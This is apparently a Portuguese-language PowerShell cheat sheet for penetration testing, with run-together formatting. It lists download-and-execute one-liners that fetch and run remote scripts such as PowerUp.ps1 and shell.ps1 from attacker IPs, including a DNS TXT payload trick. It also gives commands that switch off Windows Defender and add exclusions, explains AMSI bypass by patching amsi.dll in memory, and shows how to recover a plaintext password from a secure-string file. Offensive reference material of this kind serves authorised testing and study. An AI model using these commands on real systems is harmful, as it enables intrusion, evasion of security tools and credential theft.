Get-Help*#List everything loadedGet-Helpprocess#List everything containing "process"Get-HelpGet-Item-Full #Get full helpabout a topicGet-HelpGet-Item-Examples #List examplesImport-Module<modulepath>Get-Command-Module <modulename>
Baixar e Executar
gecho IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264#host a text record with your payload at one of your (unburned) domains and do this:powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Baixar e Executar em segundo plano com Bypass AMSI
# Check statusGet-MpComputerStatusGet-MpPreference| select Exclusion*| fl #Check exclusions# DisableSet-MpPreference-DisableRealtimeMonitoring $true#To completely disable Windows Defender on a computer, use the command:New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion pathSet-MpPreference-ExclusionPath (pwd) -disablerealtimemonitoringAdd-MpPreference-ExclusionPath (pwd)# Check exclusions configured via GPOParse-PolFile .\Registry.polKeyName : Software\Policies\Microsoft\Windows Defender\ExclusionsValueName : Exclusions_PathsValueType : REG_DWORDValueLength : 4ValueData : 1KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\PathsValueName : C:\Windows\TempValueType : REG_SZValueLength : 4ValueData : 0
Bypass do AMSI
amsi.dll é carregado no seu processo e possui as exportações necessárias para qualquer aplicação interagir. E como está carregado no espaço de memória de um processo que você controla, você pode alterar seu comportamento sobrescrevendo instruções na memória. Fazendo com que não detecte nada.
Portanto, o objetivo dos bypasses do AMSI que você irá realizar é sobrescrever as instruções dessa DLL na memória para tornar a detecção inútil.
Esta nova técnica baseia-se no hooking de chamadas de API de métodos .NET. Acontece que os métodos .NET precisam ser compilados em instruções de máquina nativas na memória, que acabam parecendo muito semelhantes aos métodos nativos. Esses métodos compilados podem ser hookados para alterar o fluxo de controle de um programa.
Os passos para realizar o hooking de chamadas de API de métodos .NET são:
Identificar o método alvo para hook
Definir um método com o mesmo protótipo de função que o alvo
Usar reflexão para encontrar os métodos
Garantir que cada método tenha sido compilado
Encontrar a localização de cada método na memória
Sobrescrever o método alvo com instruções apontando para nosso método malicioso
AMSI Bypass 3 - Privilégio SeDebug
Seguindo este guia e código você pode ver como, com privilégios suficientes para depurar processos, você pode iniciar um processo powershell.exe, depurá-lo, monitorar quando ele carrega amsi.dll e desativá-lo.
[System.Environment]::OSVersion.Version #Current OS versionGet-WmiObject-query 'select * from win32_quickfixengineering'|foreach {$_.hotfixid} #List all patchesGet-Hotfix-description "Security update"#List only "Security Update" patches
Ambiente
Get-ChildItem Env: | ft Key,Value -AutoSize #get all values$env:UserName @Get UserName value
Outros drives conectados
Get-PSDrive|where {$_.Provider-like"Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Get-LocalGroup| ft Name #All groupsGet-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Área de Transferência
Get-Clipboard
Processos
Get-Process|where {$_.ProcessName-notlike"svchost*"} | ft ProcessName, Id
Serviços
Get-Service
Senha de string segura
$pw=gc admin-pass.xml |convertto-securestring#Get the securestring from the file$cred=new-object system.management.automation.pscredential("administrator", $pw)$cred.getnetworkcredential() | fl *#Get plaintext password
Tarefas Agendadas
Get-ScheduledTask|where {$_.TaskPath-notlike"\Microsoft*"} | ft TaskName,TaskPath,State
Rede
Varredura de Portas
# Check Port or Single IPTest-NetConnection-Port 8010.10.10.10# Check Port List in Single IP80,443,8080|% {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null# Check Port Range in single IP1..1024|% {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "TCP port $_ is open"} 2>$null# Check Port List in IP Lists - 80,443,445,8080"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Interfaces
Get-NetIPConfiguration| ft InterfaceAlias,InterfaceDescription,IPv4AddressGet-DnsClientServerAddress-AddressFamily IPv4 | ft